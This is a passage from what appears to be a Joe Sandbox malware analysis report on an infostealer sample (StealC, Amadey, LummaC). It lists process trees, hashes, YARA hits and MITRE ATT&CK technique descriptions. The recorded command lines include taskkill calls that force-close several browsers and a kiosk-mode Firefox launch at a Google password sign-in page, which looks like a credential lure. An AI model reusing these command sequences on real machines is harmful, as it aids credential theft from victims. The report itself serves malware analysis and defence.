MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:52:31
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3132 -parentBuildID 20230927232528 -prefsHandle 2956 -prefMapHandle 3660 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6852bc5e-f575-47e1-8a9b-615e72a256ad} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba4882d10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:52:33
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002978001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002978001\num.exe"
Imagebase:	0xb30000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2035432368.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000000.2019490757.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2036279915.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2049712419.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000000.2019585146.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:52:33
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe"
Imagebase:	0x2d0000
File size:	2'131'968 bytes
MD5 hash:	508DC49E57681EA817BD36F9770AD609
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2047550993.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2136296360.00000000002D1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2139181992.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:52:37
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe"
Imagebase:	0xef0000
File size:	2'131'968 bytes
MD5 hash:	508DC49E57681EA817BD36F9770AD609
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2098127284.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2238114633.0000000000EF1000.00000040.00000001.01000000.00000016.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:52:41
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe"
Imagebase:	0xb10000
File size:	919'552 bytes
MD5 hash:	8BF1CFA7A41EFE5704ABCEED80C69AB5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:52:41
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:52:41
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:52:44
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe"
Imagebase:	0xb10000
File size:	2'822'144 bytes
MD5 hash:	69621666073B77F9D5D771808DC1A7A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:52:46
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe"
Imagebase:	0x2b0000
File size:	1'886'208 bytes
MD5 hash:	BEB2473D97E708D93AFB6AA83B597406
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000003.2178218988.0000000004880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.2220280024.00000000002B1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:52:49
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002978001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002978001\num.exe"
Imagebase:	0xb30000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000000.2187544933.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000000.2187639140.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:52:51
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe"
Imagebase:	0xc80000
File size:	2'822'144 bytes
MD5 hash:	69621666073B77F9D5D771808DC1A7A6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:52:54
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe"
Imagebase:	0x350000
File size:	1'886'208 bytes
MD5 hash:	BEB2473D97E708D93AFB6AA83B597406
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000003.2259361339.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	15:52:58
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"
Imagebase:	0x170000
File size:	2'940'416 bytes
MD5 hash:	90A33D2FA972C6879876CFD76B3BB7F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:52:58
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:52:58
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:52:59
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:52:59
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:53:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2b0000
File size:	3'458'576 bytes
MD5 hash:	7CFE878555B8CC04FC52385219B423D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002B.00000003.2298930667.0000000001160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:53:00
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:53:00
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:53:00
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	15:53:00
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:53:01
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	15:53:01
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	15:53:02
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2268 -prefMapHandle 2252 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec19fbe6-5676-42fb-b5cd-139fd98d46db} 3120 "\\.\pipe\gecko-crash-server-pipe.3120" 1698bf71110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ykDoK8BtxW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3037R2U7Z5DR93TNCEXVFKDF.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\51BTKCWY8DV7OGJHONB1TD.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Windows Analysis Report
ykDoK8BtxW.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre